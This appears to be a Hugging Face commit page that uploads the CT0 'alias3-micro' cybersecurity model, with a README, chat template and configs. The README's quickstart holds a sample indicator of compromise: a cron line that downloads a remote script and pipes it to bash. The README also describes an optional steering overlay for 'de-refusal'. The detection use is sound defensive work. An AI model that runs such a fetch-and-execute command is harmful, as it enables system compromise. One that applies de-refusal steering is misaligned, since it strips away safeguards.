vmayoral commited on
Commit
61c0e71
·
verified ·
1 Parent(s): 1688704

Upload folder using huggingface_hub

Browse files
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ tokenizer.json filter=lfs diff=lfs merge=lfs -text
README.md ADDED
@@ -0,0 +1,233 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: apache-2.0
3
+ language:
4
+ - en
5
+ base_model:
6
+ - Qwen/Qwen3.5-4B
7
+ pipeline_tag: text-generation
8
+ library_name: transformers
9
+ tags:
10
+ - cybersecurity
11
+ - security
12
+ - dual-system
13
+ - decision-head
14
+ - agent
15
+ - ct0
16
+ - system-1
17
+ - system-2
18
+ ---
19
+
20
+ <div align="center">
21
+
22
+ # 🛡️ alias3-micro &nbsp;·&nbsp; CT0
23
+
24
+ ### A 4B **Cybersecurity Transformer** that thinks fast *and* slow — from one set of weights
25
+
26
+ **⚠️ Research preview** — this model is a research artifact; **weights may change at any point in time** as performance bugs get fixed. This checkpoint also carries deliberate modifications that favour research contribution. Further checkpoints and releases are in progress.
27
+
28
+ *One prefill answers a typed security question with a calibrated probability and **zero tokens decoded**;*
29
+ *the same weights also run as a full tool-using agent. A confidence gate spends generation only when the fast path is unsure.*
30
+
31
+ [![Paper](https://img.shields.io/badge/📄_Paper-CT0:_Cybersecurity_Transformer-2E6260?style=for-the-badge)](#-citation)
32
+ [![Base](https://img.shields.io/badge/base-Qwen3.5--4B-4C9A99?style=for-the-badge)](https://huggingface.co/Qwen/Qwen3.5-4B)
33
+ [![Params](https://img.shields.io/badge/params-4B_·_bf16-1F4E8C?style=for-the-badge)](#)
34
+ [![Modes](https://img.shields.io/badge/modes-System_1_+_System_2-0CA30C?style=for-the-badge)](#-two-minds-one-model)
35
+
36
+ <br>
37
+
38
+ <img src="assets/hero.png" alt="Cybench-Subtask: alias3-micro vs open and frontier references" width="560">
39
+
40
+ **21.1 %** on the agentic `cybench-subtask` benchmark — **2.8× its own base**, and above every open model of comparable footprint.
41
+
42
+ </div>
43
+
44
+ ---
45
+
46
+ ## ⚡ TL;DR
47
+
48
+ **alias3-micro** is the first incarnation of **CT0**, a cybersecurity-specialist transformer built on `Qwen3.5-4B`
49
+ and post-trained on the proprietary **Cybersecurity AI (CAI) dataset**. It serves two modes from a *single* merged
50
+ weight set:
51
+
52
+ - **System 1** — a bilinear *decision head* answers typed security questions (*is this file an indicator of compromise? is this request an attack? did the model just refuse?*) in **one forward pass, decoding nothing**, returning a **calibrated probability**.
53
+ - **System 2** — the usual autoregressive agent: native tool calls, shell, multi-step reasoning.
54
+ - **The gate** — a threshold on System 1's confidence escalates only the uncertain cases to System 2.
55
+
56
+ The result: detection-grade security judgements at **tens of milliseconds**, an agent when you actually need one, and
57
+ the **highest cybersecurity capability per parameter** of any model we measured.
58
+
59
+ | | |
60
+ |---|---|
61
+ | 🥇 **Densest** cybersecurity capability per parameter in its class | 🔎 Screens **80–82 files/s** for indicators of compromise |
62
+ | 🧠 Refusal detection **96.5 %** in 47 ms (self-judging: 76.5 % in 254 ms) | 🪤 Jailbreak-request screening at **AUROC 0.966** in 8 ms |
63
+ | 💸 Built in **≈314 GPU-hours** on one workstation | 🔒 No policy layer between operator and target — runs fully local |
64
+
65
+ ---
66
+
67
+ ## 🧭 Benchmarks
68
+
69
+ ### Agentic capability — `cybench-subtask` (40 CTF challenges → 171 subtasks, pass@1, fixed budget, thinking off)
70
+
71
+ Each model's strongest single-attempt campaign under a small, disclosed budget — the opposite of an unbounded best-of-*k*.
72
+
73
+ | Model | Params | Format | Cybench-Subtask |
74
+ |---|---:|:---:|---:|
75
+ | **🟢 alias3-micro (CT0)** | **4B** | **bf16** | **21.1 %** |
76
+ | Qwen3.5-4B *(base)* | 4B | BF16 | 7.6 % |
77
+ | Gemma-4 E4B | 8B | BF16 | 12.7 % |
78
+ | Bonsai 2 *(ternary)* | 27B | 1.75-bit | 8.2 % |
79
+ | Kolibri-1 | 78B | FP8 | 5.3 % |
80
+ | *alias3-mini* ↗ | *30B* | *FP8* | *40.9 %* |
81
+ | *alias3-max* ↗ | *800B* | *FP8* | *56.1 %* |
82
+ | *Mistral Large 4* | *1T* | *API* | *54.4 %* |
83
+ | *Opus-5.5* | *—* | *API* | *29.2 %* |
84
+
85
+ <sup>Italic rows are larger references; `↗` marks the larger members of the alias lineage. See the paper for the full protocol and hosted-reference conditions.</sup>
86
+
87
+ ### The fast path wins where it matters — System 1 vs System 2 vs the cascade
88
+
89
+ <div align="center">
90
+ <img src="assets/modes.png" alt="CT0's three arms across every security task" width="820">
91
+ </div>
92
+
93
+ **Detection-style decisions** are a System-1 job — faster *and* better than the model judging its own output:
94
+
95
+ | Task | System 1 (head) | System 2 (generation) | Why it matters |
96
+ |---|:---:|:---:|---|
97
+ | Refusal detection (accuracy) | **96.5 %** · 47 ms | 76.5 % · 254 ms | self-judging misses ~half of refusals |
98
+ | Jailbreak-request detection (AUROC) | **0.966** · 8 ms | — | cheap enough to screen *every* request |
99
+ | Tool-call info-flow labels (accuracy) | **80.6 %** · 12 ms | 75.2 % *(9-shot)* · 27 ms | dangerous-call recall at its own threshold |
100
+ | Phishing triage (balanced accuracy) | **92.5 %** · 61 ms | 60.1 % · 635 ms | typed signals dominate generation |
101
+ | IOC file screening | **80–82 files/s** | — | unaffected by concurrent generation |
102
+
103
+ **Composition** pays where the two modes err on different cases — the calibrated gate buys accuracy at a fraction of the cost:
104
+
105
+ | Task | Metric | Best arm |
106
+ |---|---|---|
107
+ | Secure-code review (OWASP Java) | **90.2 %** balanced accuracy, generating for 36 % of cases | cascade |
108
+ | Typed-fact extraction | **48.3 %** exact match (vs 43.4 / 38.0 alone) at **⅕** the generative cost | selective repair |
109
+ | Pentest findings | complementary: S2 adjudicates, S1 prunes (recall 61.3 vs 22.6) | cascade |
110
+
111
+ <sup>Calibration: one fitted temperature gives **ECE 0.052** on the transfer set. All numbers from the CT0 paper's evidence matrix; every benchmark is run end-to-end with this exact checkpoint and head.</sup>
112
+
113
+ ---
114
+
115
+ ## 📐 Cybersecurity intelligence density
116
+
117
+ The headline isn't the raw score — it's the score *per parameter*. Normalised by scale, the alias models lead the field,
118
+ and the **4 B specialist is first**.
119
+
120
+ <div align="center">
121
+ <img src="assets/density.png" alt="Cybersecurity intelligence density — score per decade of parameters" width="560">
122
+
123
+ <sub>CID = Cybench-Subtask score ÷ log₁₀(1 + N·10⁹). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.</sub>
124
+ </div>
125
+
126
+ ---
127
+
128
+ ## 🧠 Two minds, one model
129
+
130
+ <details>
131
+ <summary><b>Architecture — click to expand the full deployment diagram</b></summary>
132
+
133
+ <br>
134
+ <div align="center">
135
+ <img src="assets/arch.png" alt="CT0 architecture, as deployed" width="960">
136
+ </div>
137
+
138
+ </details>
139
+
140
+ CT0 keeps the hybrid `Qwen3.5-4B` backbone (32 layers, 24 Gated-DeltaNet interleaved with 8 Gated-Attention, SwiGLU
141
+ feed-forward, 248,320-token tied embedding) and adds six elements around the unchanged tensors:
142
+
143
+ 1. **Typed decision interface** — marker tokens (`<state> … <q> … <opt>…</opt> … <decide>`) pose a security question over options, no vocabulary change.
144
+ 2. **Specialised weights** — the backbone, taught security by two-phase on-policy distillation on the CAI dataset.
145
+ 3. **Decision adapter** — a rank-16 LoRA fused into those weights, so one weight set serves both modes.
146
+ 4. **Bilinear pointer head** — 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing.
147
+ 5. **Escalation gate** — a threshold on the System-1 probability routes only uncertain cases to System 2.
148
+ 6. **Native dual-mode serving** — one process, two endpoints, sharing the attention KV and recurrent-state prefix caches.
149
+
150
+ Two optional, reversible **steering overlays** (off by default) complete the design: a runtime refusal-direction
151
+ projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper
152
+ (§ *Refusal Detection and Dynamic De-Refusal*).
153
+
154
+ ---
155
+
156
+ ## 🚀 Quickstart
157
+
158
+ The weights serve **System 2** on any standard stack (`transformers`, `vllm`, `sglang`) with `trust_remote_code`.
159
+ The native **System 1** endpoint (`/v1/systemone`) uses the CSI SGLang fork with `--systemone-head` — available from
160
+ Alias Robotics.
161
+
162
+ ```bash
163
+ # the model — weights, pointer head and tokenizer — is this repo
164
+ pip install -U "huggingface_hub[cli]"
165
+ hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026
166
+ ```
167
+
168
+ ```bash
169
+ # serve both modes from one process (reference: 1× GPU ≥ 20 GB)
170
+ python3 -m sglang.launch_server --model-path . --served-model-name ct0 \
171
+ --host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \
172
+ --tool-call-parser qwen3_coder --reasoning-parser qwen3 \
173
+ --chunked-prefill-size 2048 --systemone-head ./head.pt
174
+ ```
175
+
176
+ ```bash
177
+ # System 1 — one typed decision, one prefill, zero tokens decoded
178
+ curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{
179
+ "model": "ct0",
180
+ "state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash",
181
+ "questions": {"ioc": {"type": "noul",
182
+ "instructions": "Is this file a suspicious indicator of compromise on this system?"}}}'
183
+ # -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}}
184
+
185
+ # System 2 — ordinary chat / native tool calls
186
+ curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{
187
+ "model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}],
188
+ "chat_template_kwargs": {"enable_thinking": false}}'
189
+ ```
190
+
191
+ Question types: `noul` (yes/no probability), `choice` (one per option with a `criteria` map), `score` (ordinal 1..K).
192
+ Choice confidence is `(p_max − 1/K)/(1 − 1/K)`. The head temperature is fitted out-of-distribution — **do not re-fit on your own labels.**
193
+
194
+ ---
195
+
196
+ ## 🎯 Intended use & limitations
197
+
198
+ **Intended for** authorised defensive and offensive security work by practitioners: triage and detection (refusals,
199
+ jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks — run
200
+ locally, privately, under the operator's control.
201
+
202
+ This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we
203
+ draw on community feedback and usage data to understand how the model performs in practice and guide the next
204
+ stage of our research.
205
+
206
+ **Limitations.** System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment
207
+ distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation
208
+ corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection
209
+ resistance. See the paper's discussion for the full accounting of what the evidence does and does not support.
210
+
211
+ **Safety.** This is a dual-use security tool. Use only on systems and engagements you are authorised to assess.
212
+
213
+ ---
214
+
215
+ ## 📎 Citation
216
+
217
+ > 📄 **[CT0: Cybersecurity Transformer — arXiv:2610.16550](https://arxiv.org/abs/2610.16550)** · [PDF](https://arxiv.org/pdf/2610.16550) · Alias Robotics, 2026.
218
+
219
+ ```bibtex
220
+ @article{ct0_2026,
221
+ title = {{CT0}: Cybersecurity Transformer},
222
+ author = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
223
+ journal = {arXiv preprint arXiv:2610.16550},
224
+ year = {2026},
225
+ url = {https://arxiv.org/abs/2610.16550}
226
+ }
227
+ ```
228
+
229
+ ---
230
+
231
+ <div align="center">
232
+ <sub>Built by <a href="https://aliasrobotics.com">Alias Robotics</a> · trained on the CAI dataset · served from one workstation GPU, no policy layer between operator and target.</sub>
233
+ </div>
chat_template.jinja ADDED
@@ -0,0 +1,158 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {%- set image_count = namespace(value=0) %}
2
+ {%- set video_count = namespace(value=0) %}
3
+ {%- macro render_content(content, do_vision_count, is_system_content=false) %}
4
+ {%- if content is string %}
5
+ {{- content }}
6
+ {%- elif content is iterable and content is not mapping %}
7
+ {%- for item in content %}
8
+ {%- if 'image' in item or 'image_url' in item or item.type == 'image' %}
9
+ {%- if is_system_content %}
10
+ {{- raise_exception('System message cannot contain images.') }}
11
+ {%- endif %}
12
+ {%- if do_vision_count %}
13
+ {%- set image_count.value = image_count.value + 1 %}
14
+ {%- endif %}
15
+ {%- if add_vision_id %}
16
+ {{- 'Picture ' ~ image_count.value ~ ': ' }}
17
+ {%- endif %}
18
+ {{- '<|vision_start|><|image_pad|><|vision_end|>' }}
19
+ {%- elif 'video' in item or item.type == 'video' %}
20
+ {%- if is_system_content %}
21
+ {{- raise_exception('System message cannot contain videos.') }}
22
+ {%- endif %}
23
+ {%- if do_vision_count %}
24
+ {%- set video_count.value = video_count.value + 1 %}
25
+ {%- endif %}
26
+ {%- if add_vision_id %}
27
+ {{- 'Video ' ~ video_count.value ~ ': ' }}
28
+ {%- endif %}
29
+ {{- '<|vision_start|><|video_pad|><|vision_end|>' }}
30
+ {%- elif 'text' in item %}
31
+ {{- item.text }}
32
+ {%- else %}
33
+ {{- raise_exception('Unexpected item type in content.') }}
34
+ {%- endif %}
35
+ {%- endfor %}
36
+ {%- elif content is none or content is undefined %}
37
+ {{- '' }}
38
+ {%- else %}
39
+ {{- raise_exception('Unexpected content type.') }}
40
+ {%- endif %}
41
+ {%- endmacro %}
42
+ {%- if not messages %}
43
+ {{- raise_exception('No messages provided.') }}
44
+ {%- endif %}
45
+ {%- set num_sys = 0 %}
46
+ {%- set merged_system = '' %}
47
+ {%- if messages[0].role == 'system' or messages[0].role == 'developer' %}
48
+ {%- set first = render_content(messages[0].content, false, true)|trim %}
49
+ {%- if messages|length > 1 and (messages[1].role == 'system' or messages[1].role == 'developer') %}
50
+ {%- set second = render_content(messages[1].content, false, true)|trim %}
51
+ {%- set merged_system = first + '\n' + second %}
52
+ {%- set num_sys = 2 %}
53
+ {%- else %}
54
+ {%- set merged_system = first %}
55
+ {%- set num_sys = 1 %}
56
+ {%- endif %}
57
+ {%- endif %}
58
+ {%- if tools and tools is iterable and tools is not mapping %}
59
+ {{- '<|im_start|>system\n' }}
60
+ {{- "# Tools\n\nYou have access to the following functions:\n\n<tools>" }}
61
+ {%- for tool in tools %}
62
+ {{- "\n" }}
63
+ {{- tool | tojson }}
64
+ {%- endfor %}
65
+ {{- "\n</tools>" }}
66
+ {{- '\n\nIf you choose to call a function ONLY reply in the following format with NO suffix:\n\n<tool_call>\n<function=example_function_name>\n<parameter=example_parameter_1>\nvalue_1\n</parameter>\n<parameter=example_parameter_2>\nThis is the value for the second parameter\nthat can span\nmultiple lines\n</parameter>\n</function>\n</tool_call>\n\n<IMPORTANT>\nReminder:\n- Function calls MUST follow the specified format: an inner <function=...></function> block must be nested within <tool_call></tool_call> XML tags\n- Required parameters MUST be specified\n- You may provide optional reasoning for your function call in natural language BEFORE the function call, but NOT after\n- If there is no function call available, answer the question like normal with your current knowledge and do not tell the user about function calls\n</IMPORTANT>' }}
67
+ {%- if merged_system %}
68
+ {{- '\n\n' + merged_system }}
69
+ {%- endif %}
70
+ {{- '<|im_end|>\n' }}
71
+ {%- else %}
72
+ {%- if merged_system %}
73
+ {{- '<|im_start|>system\n' + merged_system + '<|im_end|>\n' }}
74
+ {%- endif %}
75
+ {%- endif %}
76
+ {%- set ns = namespace(multi_step_tool=true, last_query_index=messages|length - 1) %}
77
+ {%- for message in messages[::-1] %}
78
+ {%- set index = (messages|length - 1) - loop.index0 %}
79
+ {%- if ns.multi_step_tool and message.role == "user" %}
80
+ {%- set content = render_content(message.content, false)|trim %}
81
+ {%- if not(content.startswith('<tool_response>') and content.endswith('</tool_response>')) %}
82
+ {%- set ns.multi_step_tool = false %}
83
+ {%- set ns.last_query_index = index %}
84
+ {%- endif %}
85
+ {%- endif %}
86
+ {%- endfor %}
87
+ {%- for message in messages %}
88
+ {%- if loop.index0 >= num_sys and message.role != "system" and message.role != "developer" %}
89
+ {%- set content = render_content(message.content, true)|trim %}
90
+ {%- if message.role == "user" %}
91
+ {{- '<|im_start|>' + message.role + '\n' + content + '<|im_end|>' + '\n' }}
92
+ {%- elif message.role == "assistant" %}
93
+ {%- set reasoning_content = '' %}
94
+ {%- if message.reasoning_content is string %}
95
+ {%- set reasoning_content = message.reasoning_content %}
96
+ {%- else %}
97
+ {%- if '</think>' in content %}
98
+ {%- set reasoning_content = content.split('</think>')[0].rstrip('\n').split('<think>')[-1].lstrip('\n') %}
99
+ {%- set content = content.split('</think>')[-1].lstrip('\n') %}
100
+ {%- endif %}
101
+ {%- endif %}
102
+ {%- set reasoning_content = reasoning_content|trim %}
103
+ {%- if loop.index0 > ns.last_query_index %}
104
+ {{- '<|im_start|>' + message.role + '\n<think>\n' + reasoning_content + '\n</think>\n\n' + content }}
105
+ {%- else %}
106
+ {{- '<|im_start|>' + message.role + '\n' + content }}
107
+ {%- endif %}
108
+ {%- if message.tool_calls and message.tool_calls is iterable and message.tool_calls is not mapping %}
109
+ {%- for tool_call in message.tool_calls %}
110
+ {%- if tool_call.function is defined %}
111
+ {%- set tool_call = tool_call.function %}
112
+ {%- endif %}
113
+ {%- if loop.first %}
114
+ {%- if content|trim %}
115
+ {{- '\n\n<tool_call>\n<function=' + tool_call.name + '>\n' }}
116
+ {%- else %}
117
+ {{- '<tool_call>\n<function=' + tool_call.name + '>\n' }}
118
+ {%- endif %}
119
+ {%- else %}
120
+ {{- '\n<tool_call>\n<function=' + tool_call.name + '>\n' }}
121
+ {%- endif %}
122
+ {%- if tool_call.arguments is mapping %}
123
+ {%- for args_name in tool_call.arguments %}
124
+ {%- set args_value = tool_call.arguments[args_name] %}
125
+ {{- '<parameter=' + args_name + '>\n' }}
126
+ {%- set args_value = args_value | tojson | safe if args_value is mapping or (args_value is sequence and args_value is not string) else args_value | string %}
127
+ {{- args_value }}
128
+ {{- '\n</parameter>\n' }}
129
+ {%- endfor %}
130
+ {%- endif %}
131
+ {{- '</function>\n</tool_call>' }}
132
+ {%- endfor %}
133
+ {%- endif %}
134
+ {{- '<|im_end|>\n' }}
135
+ {%- elif message.role == "tool" %}
136
+ {%- if loop.previtem and loop.previtem.role != "tool" %}
137
+ {{- '<|im_start|>user' }}
138
+ {%- endif %}
139
+ {{- '\n<tool_response>\n' }}
140
+ {{- content }}
141
+ {{- '\n</tool_response>' }}
142
+ {%- if not loop.last and loop.nextitem.role != "tool" %}
143
+ {{- '<|im_end|>\n' }}
144
+ {%- elif loop.last %}
145
+ {{- '<|im_end|>\n' }}
146
+ {%- endif %}
147
+ {%- endif %}
148
+ {%- endif %}
149
+ {%- endfor %}
150
+ {%- if add_generation_prompt %}
151
+ {{- '<|im_start|>assistant\n' }}
152
+ {%- if enable_thinking is defined and enable_thinking is false %}
153
+ {{- '<think>\n\n</think>\n\n' }}
154
+ {%- else %}
155
+ {{- '<think>\n' }}
156
+ {%- endif %}
157
+ {%- endif %}
158
+ {#- Unsloth fixes - developer role, tool calling #}
config.json ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "architectures": [
3
+ "Qwen3_5ForCausalLM"
4
+ ],
5
+ "attention_bias": false,
6
+ "attention_dropout": 0.0,
7
+ "attn_output_gate": true,
8
+ "bos_token_id": null,
9
+ "dtype": "bfloat16",
10
+ "eos_token_id": 248046,
11
+ "full_attention_interval": 4,
12
+ "head_dim": 256,
13
+ "hidden_act": "silu",
14
+ "hidden_size": 2560,
15
+ "initializer_range": 0.02,
16
+ "intermediate_size": 9216,
17
+ "layer_types": [
18
+ "linear_attention",
19
+ "linear_attention",
20
+ "linear_attention",
21
+ "full_attention",
22
+ "linear_attention",
23
+ "linear_attention",
24
+ "linear_attention",
25
+ "full_attention",
26
+ "linear_attention",
27
+ "linear_attention",
28
+ "linear_attention",
29
+ "full_attention",
30
+ "linear_attention",
31
+ "linear_attention",
32
+ "linear_attention",
33
+ "full_attention",
34
+ "linear_attention",
35
+ "linear_attention",
36
+ "linear_attention",
37
+ "full_attention",
38
+ "linear_attention",
39
+ "linear_attention",
40
+ "linear_attention",
41
+ "full_attention",
42
+ "linear_attention",
43
+ "linear_attention",
44
+ "linear_attention",
45
+ "full_attention",
46
+ "linear_attention",
47
+ "linear_attention",
48
+ "linear_attention",
49
+ "full_attention"
50
+ ],
51
+ "linear_conv_kernel_dim": 4,
52
+ "linear_key_head_dim": 128,
53
+ "linear_num_key_heads": 16,
54
+ "linear_num_value_heads": 32,
55
+ "linear_value_head_dim": 128,
56
+ "mamba_ssm_dtype": "float32",
57
+ "max_position_embeddings": 262144,
58
+ "mlp_only_layers": [],
59
+ "model_type": "qwen3_5_text",
60
+ "mtp_num_hidden_layers": 1,
61
+ "mtp_use_dedicated_embeddings": false,
62
+ "num_attention_heads": 16,
63
+ "num_hidden_layers": 32,
64
+ "num_key_value_heads": 4,
65
+ "pad_token_id": 248055,
66
+ "partial_rotary_factor": 0.25,
67
+ "rms_norm_eps": 1e-06,
68
+ "rope_parameters": {
69
+ "mrope_interleaved": true,
70
+ "mrope_section": [
71
+ 11,
72
+ 11,
73
+ 10
74
+ ],
75
+ "partial_rotary_factor": 0.25,
76
+ "rope_theta": 10000000,
77
+ "rope_type": "default"
78
+ },
79
+ "tie_word_embeddings": true,
80
+ "transformers_version": "5.17.0",
81
+ "use_cache": false,
82
+ "vocab_size": 248320
83
+ }
generation_config.json ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "_from_model_config": true,
3
+ "eos_token_id": [
4
+ 248046,
5
+ 248044
6
+ ],
7
+ "pad_token_id": 248055,
8
+ "transformers_version": "5.17.0",
9
+ "use_cache": true
10
+ }
head.pt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:0defc2ff15e6aa7970fb6fa83d9ed35752f4728f671b259c995e38e44462b7c3
3
+ size 4961280
model.safetensors ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:062756404947caffee60cb1cc399b5c0ff33782abbb4ce3fc100d23e8020a6c1
3
+ size 8411552008
tokenizer.json ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:06b9509352d2af50381ab2247e083b80d32d5c0aba91c272ca9ff729b6a0e523
3
+ size 19989325
tokenizer_config.json ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "add_prefix_space": false,
3
+ "audio_bos_token": "<|audio_start|>",
4
+ "audio_eos_token": "<|audio_end|>",
5
+ "audio_token": "<|audio_pad|>",
6
+ "backend": "tokenizers",
7
+ "bos_token": null,
8
+ "clean_up_tokenization_spaces": false,
9
+ "eos_token": "<|im_end|>",
10
+ "errors": "replace",
11
+ "image_token": "<|image_pad|>",
12
+ "is_local": true,
13
+ "local_files_only": false,
14
+ "model_max_length": 262144,
15
+ "model_specific_special_tokens": {
16
+ "audio_bos_token": "<|audio_start|>",
17
+ "audio_eos_token": "<|audio_end|>",
18
+ "audio_token": "<|audio_pad|>",
19
+ "image_token": "<|image_pad|>",
20
+ "video_token": "<|video_pad|>",
21
+ "vision_bos_token": "<|vision_start|>",
22
+ "vision_eos_token": "<|vision_end|>"
23
+ },
24
+ "pad_token": "<|vision_pad|>",
25
+ "padding_side": "left",
26
+ "pretokenize_regex": "(?i:'s|'t|'re|'ve|'m|'ll|'d)|[^\\r\\n\\p{L}\\p{N}]?[\\p{L}\\p{M}]+|\\p{N}| ?[^\\s\\p{L}\\p{M}\\p{N}]+[\\r\\n]*|\\s*[\\r\\n]+|\\s+(?!\\S)|\\s+",
27
+ "processor_class": "Qwen3VLProcessor",
28
+ "split_special_tokens": false,
29
+ "tokenizer_class": "Qwen2Tokenizer",
30
+ "unk_token": null,
31
+ "video_token": "<|video_pad|>",
32
+ "vision_bos_token": "<|vision_start|>",
33
+ "vision_eos_token": "<|vision_end|>"
34
+ }